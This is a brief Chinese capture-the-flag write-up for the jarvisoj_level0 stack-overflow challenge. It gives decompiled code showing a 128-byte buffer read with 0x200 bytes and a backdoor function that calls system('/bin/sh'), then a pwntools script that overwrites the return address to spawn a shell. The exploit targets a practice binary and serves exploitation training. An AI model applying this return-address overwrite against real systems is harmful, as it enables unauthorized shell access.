题目链接:jarvisoj_level0。
下载附件后,使用 IDA 反编译,定位到 main 函数,如下。
int __fastcall main(int argc, const char **argv, const char **envp)
{write(1, "Hello, World\n", 0xDuLL);return vulnerable_function();
}
vulnerable_function 函数如下。
ssize_t vulnerable_function()
{char buf[128]; // [rsp+0h] [rbp-80h] BYREFreturn read(0, buf, 0x200uLL);
}
可以看到,就是一道简单的栈溢出题目,并且程序中存在后门函数,如下。
int callsystem()
{return system("/bin/sh");
}
因此,直接栈溢出覆盖返回地址至 callsystem 函数即可。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *def pwn():s(0x88 * b"a" + p64(0x0000000000400596))irt()pwn()